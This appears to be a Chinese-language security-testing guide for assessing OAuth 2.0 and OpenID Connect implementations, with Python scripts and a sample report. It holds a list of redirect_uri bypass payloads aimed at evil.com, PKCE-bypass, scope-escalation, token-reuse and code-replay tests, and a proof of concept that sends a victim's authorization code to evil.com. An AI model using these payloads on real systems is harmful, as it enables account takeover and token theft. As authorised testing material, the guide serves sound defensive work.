testing-oauth2-implementation-flaws

测试 OAuth2 实现缺陷

适用场景

• 评估 OAuth 2.0 授权码流程是否存在重定向 URI 验证弱点
• 测试 OAuth 客户端应用的 CSRF 防护（state 参数用法）和 PKCE 强制执行情况
• 评估 OAuth 实现中的令牌存储、传输和生命周期管理
• 测试客户端请求的权限是否超出授权范围（权限范围升级）
• 评估 OpenID Connect 实现中的 ID 令牌验证和 nonce 用法

未经书面授权，请勿使用。 OAuth 测试可能导致令牌被盗或未经授权的访问。

前置条件

• 书面授权，明确列出范围内的 OAuth 提供方和客户端应用
• 已在授权服务器注册的测试 OAuth 客户端
• Burp Suite Professional，用于拦截 OAuth 重定向和令牌流程
• Python 3.10+，以及 requests 和 oauthlib 库
• 浏览器开发者工具，用于观察 OAuth 重定向链
• 了解正在使用的 OAuth 2.0 授权类型（授权码、隐式、客户端凭据）

工作流

步骤 1：OAuth 流程侦察

import requests
import urllib.parse
import re
import hashlib
import base64
import secrets

AUTH_SERVER = "https://auth.example.com"
CLIENT_ID = "test-client-id"
REDIRECT_URI = "https://app.example.com/callback"
SCOPE = "openid profile email"

# Discover OAuth endpoints
well_known = requests.get(f"{AUTH_SERVER}/.well-known/openid-configuration")
if well_known.status_code == 200:
    config = well_known.json()
    print("OAuth/OIDC Configuration:")
    print(f"  Authorization: {config.get('authorization_endpoint')}")
    print(f"  Token: {config.get('token_endpoint')}")
    print(f"  UserInfo: {config.get('userinfo_endpoint')}")
    print(f"  JWKS: {config.get('jwks_uri')}")
    print(f"  Supported grants: {config.get('grant_types_supported')}")
    print(f"  Supported scopes: {config.get('scopes_supported')}")
    print(f"  PKCE methods: {config.get('code_challenge_methods_supported')}")
    auth_endpoint = config['authorization_endpoint']
    token_endpoint = config['token_endpoint']
else:
    # Try common paths
    for path in ["/authorize", "/oauth/authorize", "/oauth2/authorize", "/auth"]:
        resp = requests.get(f"{AUTH_SERVER}{path}", allow_redirects=False)
        if resp.status_code in (302, 400):
            print(f"Authorization endpoint found: {AUTH_SERVER}{path}")
            auth_endpoint = f"{AUTH_SERVER}{path}"
            break

步骤 2：重定向 URI 验证测试

# Test redirect_uri validation strictness
REDIRECT_BYPASS_PAYLOADS = [
    # Open redirect variations
    REDIRECT_URI,                                          # Legitimate
    "https://evil.com",                                    # Different domain
    "https://app.example.com.evil.com/callback",          # Subdomain of attacker
    "https://[email protected]/callback",          # URL authority confusion
    f"{REDIRECT_URI}/../../../evil.com",                  # Path traversal
    f"{REDIRECT_URI}?next=https://evil.com",              # Parameter injection
    f"{REDIRECT_URI}#https://evil.com",                   # Fragment injection
    f"{REDIRECT_URI}%23evil.com",                         # Encoded fragment
    "https://app.example.com/callback/../../evil",        # Relative path
    "https://APP.EXAMPLE.COM/callback",                   # Case variation
    "https://app.example.com/Callback",                   # Path case variation
    "https://app.example.com/callback/",                  # Trailing slash
    "https://app.example.com/callback?",                  # Trailing question mark
    "http://app.example.com/callback",                    # HTTP downgrade
    "https://app.example.com:443/callback",               # Explicit port
    "https://app.example.com:8443/callback",              # Different port
    f"{REDIRECT_URI}/.evil.com",                          # Dot segment
    "https://app.example.com/callbackevil",               # Path prefix match
    "javascript://app.example.com/callback%0aalert(1)",   # JavaScript protocol
]

print("=== Redirect URI Validation Testing ===\n")
for redirect in REDIRECT_BYPASS_PAYLOADS:
    params = {
        "response_type": "code",
        "client_id": CLIENT_ID,
        "redirect_uri": redirect,
        "scope": SCOPE,
        "state": secrets.token_urlsafe(32),
    }
    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)

    if resp.status_code == 302:
        location = resp.headers.get("Location", "")
        if "code=" in location or redirect in location:
            status = "ACCEPTED"
            if redirect != REDIRECT_URI:
                print(f"  [VULNERABLE] {redirect[:70]} -> Redirect accepted")
        else:
            status = "REDIRECTED"
    elif resp.status_code == 400:
        status = "REJECTED"
    else:
        status = f"HTTP {resp.status_code}"

    if redirect == REDIRECT_URI:
        print(f"  [BASELINE] {redirect[:70]} -> {status}")

步骤 3：State 参数（CSRF）测试

# Test 1: Missing state parameter
params_no_state = {
    "response_type": "code",
    "client_id": CLIENT_ID,
    "redirect_uri": REDIRECT_URI,
    "scope": SCOPE,
}
resp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
    print("[CSRF] Authorization code issued without state parameter")

# Test 2: State parameter reuse
state_value = "fixed_state_value_123"
# Use same state for multiple authorization requests
for i in range(3):
    params = {**params_no_state, "state": state_value}
    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
    if resp.status_code == 302:
        location = resp.headers.get("Location", "")
        returned_state = urllib.parse.parse_qs(
            urllib.parse.urlparse(location).query).get("state", [None])[0]
        if returned_state == state_value:
            print(f"[INFO] Same state accepted on attempt {i+1} (check client-side validation)")

# Test 3: Token exchange without state validation (client-side check)
# Intercept the callback and try exchanging the code without state
print("\nNote: State validation is a client-side check. Verify the callback handler validates state.")

步骤 4：PKCE 绕过测试

# Test if PKCE (Proof Key for Code Exchange) is enforced

# Generate PKCE values
code_verifier = secrets.token_urlsafe(64)[:128]
code_challenge = base64.urlsafe_b64encode(
    hashlib.sha256(code_verifier.encode()).digest()
).decode().rstrip('=')

# Test 1: Authorization request without PKCE
params_no_pkce = {
    "response_type": "code",
    "client_id": CLIENT_ID,
    "redirect_uri": REDIRECT_URI,
    "scope": SCOPE,
    "state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
    print("[PKCE] Authorization code issued without PKCE challenge")

# Test 2: Token exchange without code_verifier
auth_code = "captured_auth_code"  # From intercept
token_resp = requests.post(token_endpoint, data={
    "grant_type": "authorization_code",
    "code": auth_code,
    "redirect_uri": REDIRECT_URI,
    "client_id": CLIENT_ID,
    # No code_verifier
})
if token_resp.status_code == 200:
    print("[PKCE] Token issued without code_verifier - PKCE not enforced")

# Test 3: Token exchange with wrong code_verifier
token_resp = requests.post(token_endpoint, data={
    "grant_type": "authorization_code",
    "code": auth_code,
    "redirect_uri": REDIRECT_URI,
    "client_id": CLIENT_ID,
    "code_verifier": "wrong_verifier_value_that_does_not_match",
})
if token_resp.status_code == 200:
    print("[PKCE] Token issued with wrong code_verifier - PKCE validation broken")

# Test 4: Downgrade from S256 to plain
params_plain_pkce = {
    **params_no_pkce,
    "code_challenge": code_verifier,  # Plain = verifier itself
    "code_challenge_method": "plain",
}
resp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=False)
if resp.status_code == 302:
    print("[PKCE] Plain challenge method accepted - vulnerable to interception")

步骤 5：权限范围升级和令牌测试

# Test 1: Request additional scopes beyond what's registered
elevated_scopes = [
    "openid profile email admin",
    "openid profile email write:users",
    "openid profile email delete:*",
    "openid profile email admin:full",
    "*",
]

for scope in elevated_scopes:
    params = {
        "response_type": "code",
        "client_id": CLIENT_ID,
        "redirect_uri": REDIRECT_URI,
        "scope": scope,
        "state": secrets.token_urlsafe(32),
    }
    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
    if resp.status_code == 302:
        location = resp.headers.get("Location", "")
        if "code=" in location:
            print(f"[SCOPE] Elevated scope accepted: {scope}")

# Test 2: Token reuse across clients
# Use a token from client A on client B's API
token_a = "access_token_from_client_a"
resp = requests.get("https://other-service.example.com/api/resource",
    headers={"Authorization": f"Bearer {token_a}"})
if resp.status_code == 200:
    print("[TOKEN] Token from client A accepted by different service (audience not validated)")

# Test 3: Refresh token theft and reuse
refresh_token = "captured_refresh_token"
# Try using refresh token with different client_id
token_resp = requests.post(token_endpoint, data={
    "grant_type": "refresh_token",
    "refresh_token": refresh_token,
    "client_id": "different-client-id",
})
if token_resp.status_code == 200:
    print("[TOKEN] Refresh token accepted for different client - not bound to client")

步骤 6：隐式流程和令牌泄漏测试

# Test if implicit flow is enabled (should be disabled per OAuth 2.1)
implicit_params = {
    "response_type": "token",
    "client_id": CLIENT_ID,
    "redirect_uri": REDIRECT_URI,
    "scope": SCOPE,
    "state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False)
if resp.status_code == 302:
    location = resp.headers.get("Location", "")
    if "access_token=" in location:
        print("[IMPLICIT] Implicit flow enabled - token in URL fragment (deprecated/insecure)")

# Test token leakage via Referer header
# Check if tokens appear in URLs that could leak via Referer
print("\nToken Leakage Checks:")
print("  - Check if access tokens appear in URL query parameters")
print("  - Check if tokens are logged in server access logs")
print("  - Check if callback URL with code is cached by the browser")
print("  - Check if the authorization code is single-use (replay test)")

# Authorization code replay test
auth_code_to_replay = "captured_auth_code"
for attempt in range(3):
    token_resp = requests.post(token_endpoint, data={
        "grant_type": "authorization_code",
        "code": auth_code_to_replay,
        "redirect_uri": REDIRECT_URI,
        "client_id": CLIENT_ID,
        "client_secret": "client_secret_value",
    })
    print(f"  Code replay attempt {attempt+1}: {token_resp.status_code}")
    if attempt > 0 and token_resp.status_code == 200:
        print("  [VULNERABLE] Authorization code is not single-use")

核心概念

术语	定义
授权码流程	OAuth 2.0 流程：客户端通过重定向接收授权码，然后在令牌端点将其交换为令牌
PKCE	代码交换证明（Proof Key for Code Exchange）——通过代码验证器/挑战将授权请求与令牌请求绑定的扩展，可防止授权码被拦截
重定向 URI 验证	授权服务器验证 redirect_uri 是否与已注册值完全匹配，以防止通过开放重定向窃取代码/令牌
State 参数	在授权请求中传递并在回调中验证的随机值，可防止针对 OAuth 流程的 CSRF 攻击
权限范围升级	请求或获取超出客户端授权范围的权限（权限范围），从而实现未经授权的访问
隐式流程	已弃用的 OAuth 流程，会直接在 URL 片段中返回令牌，容易遭受令牌泄漏和重放攻击

工具与系统

• Burp Suite Professional：拦截并操纵 OAuth 重定向、授权码和令牌交换
• EsPReSSO (Burp Extension)：自动测试 OAuth 和 OpenID Connect 实现中已知的漏洞
• oauth2-security-tester：用于针对常见攻击模式测试 OAuth 2.0 流程的专用工具
• OWASP ZAP：被动扫描器，可检测已拦截流量中的 OAuth 错误配置
• jwt.io：用于分析 OAuth 访问令牌和 ID 令牌的在线 JWT 解码器

常见场景

场景：社交登录 OAuth 实现评估

背景：某 Web 应用使用 OAuth 2.0 授权码流程实现"Login with Google"和"Login with GitHub"。该应用是一个 SaaS 平台，账户接管具有很高的业务影响。

方法：

1. 分析两个提供商的 /.well-known/openid-configuration 中的 OAuth 配置
2. 测试重定向 URI 校验：发现应用注册的是 https://app.example.com/callback，但服务端接受 https://app.example.com/callback/..%2fevil
3. 测试 state 参数：授权请求中包含 state，但回调处理程序未对其进行校验（可能存在 CSRF）
4. 测试 PKCE：授权码流程未实现 PKCE，导致在移动端可能发生授权码拦截
5. 测试隐式流程：尽管应用未使用，该流程仍处于启用状态
6. 测试 scope：应用请求 openid profile email，但授权服务器还在未经明确同意的情况下授予 read:repos
7. 测试授权码重放：授权码可以被交换两次，表明缺乏一次性使用强制机制
8. 测试令牌受众：来自 Google 登录的访问令牌被 GitHub API 端点接受（未校验受众）

常见陷阱：

• 仅在浏览器中测试 OAuth 流程，而未拦截和操纵重定向参数
• 未分别独立测试授权请求和令牌交换
• 遗漏应用中的开放重定向漏洞，这些漏洞可与 OAuth redirect_uri 串联利用
• 未测试客户端侧的 state 参数校验（服务端可能包含 state，但客户端可能不检查）
• 因为授权服务器支持 PKCE 就假定 PKCE 已被强制执行（客户端也必须发送）

输出格式

## Finding: OAuth2 Redirect URI Bypass Enables Authorization Code Theft

**ID**: API-OAUTH-001
**Severity**: Critical (CVSS 9.3)
**Affected Component**: OAuth 2.0 Authorization Code Flow
**Authorization Server**: auth.example.com

**Description**:
The authorization server's redirect_uri validation uses prefix matching
instead of exact string matching. An attacker can manipulate the redirect_uri
to redirect the authorization code to an attacker-controlled endpoint,
enabling account takeover. Additionally, PKCE is not enforced and the
state parameter is not validated by the client application.

**Proof of Concept**:
1. Craft authorization URL with manipulated redirect_uri:
   https://auth.example.com/authorize?response_type=code&client_id=app
   &redirect_uri=https://app.example.com/callback/../../../evil.com
   &scope=openid+profile+email&state=abc123
2. User authenticates and approves consent
3. Authorization code redirected to https://evil.com?code=AUTH_CODE&state=abc123
4. Attacker exchanges code at token endpoint (no PKCE required)
5. Attacker receives access token and ID token for victim's account

**Impact**:
Complete account takeover for any user who clicks a crafted OAuth login link.
The attacker gains full access to the user's profile, email, and any
resources the OAuth scope grants access to.

**Remediation**:
1. Implement exact string matching for redirect_uri validation (no wildcards, no prefix matching)
2. Enforce PKCE (S256 method) for all authorization code flow requests
3. Validate the state parameter in the callback handler before exchanging the code
4. Disable the implicit flow on the authorization server
5. Enforce single-use authorization codes with a short TTL (max 60 seconds)
6. Validate the audience (aud) claim in tokens before accepting them